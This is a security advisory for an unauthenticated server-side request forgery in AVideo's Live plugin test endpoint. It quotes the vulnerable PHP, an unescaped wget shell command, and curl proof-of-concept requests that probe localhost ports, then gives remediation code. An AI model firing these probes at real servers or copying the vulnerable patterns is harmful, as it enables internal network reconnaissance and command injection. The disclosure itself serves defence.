GHSA-3fpm-8rjr-v5mc

### Summary An unauthenticated server-side request forgery vulnerability in `plugin/Live/test.php` allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints. ### Details The endpoint accepts `$_REQUEST['statsURL']` and only checks that it starts with `http`: ```php $statsURL = $_REQUEST['statsURL']; if (empty($statsURL) || $statsURL == "php://input" || !preg_match("/^http/", $statsURL)) { exit; } ``` It then calls: ```php $result = url_get_contents($statsURL, 2); ``` Inside the same file, `url_get_contents()` performs a real outbound request with `file_get_contents()` when `allow_url_fopen` is enabled: ```php $tmp = file_get_contents($url, false, $context); _log('file_get_contents:: '.htmlentities($tmp)); ``` There is: - no authentication check - no allowlist of trusted stats URLs - no SSRF-safe URL validation - reflected response/error output Validated on source: - [test.php](https://github.com/WWBN/AVideo/blob/781aa070a61a93b1c368fca3db862bc70bad2e04/plugin/Live/test.php) ### PoC Target used during validation: ```text http://127.0.0.1:80 ``` 1. Probe a closed localhost port: ```bash curl -s \ 'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:1/' ``` Observed response excerpt: ```text Starting try to get URL http://127.0.0.1:1/ url_get_contents start timeout=2 Warning: file_get_contents(http://127.0.0.1:1/): Failed to open stream: Connection refused file_get_contents fail return an empty content FAIL ``` 2. Probe the local web service itself: ```bash curl -s \ 'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:80/' ``` This returns upstream connection details from the server-side request and confirms the endpoint can target local/internal HTTP services. ### Impact This is an unauthenticated SSRF vulnerability affecting any deployment that exposes `plugin/Live/test.php`. An attacker can: - probe localhost and internal network services - distinguish open and closed ports - target cloud metadata endpoints if reachable - retrieve reflected content from internal HTTP services when the upstream responds with a body The server and the internal network reachable from it are impacted. No unauthenticated code execution was validated from this issue on the tested environment. ### remediation The safest fix is to remove `plugin/Live/test.php` from production deployments. If it must remain: - require admin authentication - only allow requests to explicitly configured Live stats URLs - block localhost, RFC1918, link-local, and metadata IP ranges - stop reflecting fetched bodies and raw upstream errors to the client Minimal hardening example: ```php require_once dirname(__FILE__) . '/../../videos/configuration.php'; if (!User::isAdmin()) { http_response_code(403); exit('Forbidden'); } $statsURL = $_REQUEST['statsURL'] ?? ''; if (empty($statsURL) || !isSSRFSafeURL($statsURL)) { exit('Unsafe URL'); } ``` ### Remove `wget` Fallback Entirely The `wget` fallback provides no unique value over `file_get_contents` + `curl` and introduces shell exposure. Remove lines 94–119 of `test.php`. ### If wget must remain, escape the argument: ```php // BEFORE (vulnerable) $cmd = "wget --tries=1 {$url} -O {$filename} --no-check-certificate"; // AFTER (safe) $cmd = "wget --tries=1 " . escapeshellarg($url) . " -O " . escapeshellarg($filename) . " --no-check-certificate"; ``` ### Defense in Depth 1. Move the file behind the admin panel URL prefix (Apache/Nginx deny rule for public access) 2. Add `isSSRFSafeURL()` check (already exists in `objects/functions.php`) before any fetch 3. Block outbound connections from the web process to RFC1918 addresses at the firewall/egress level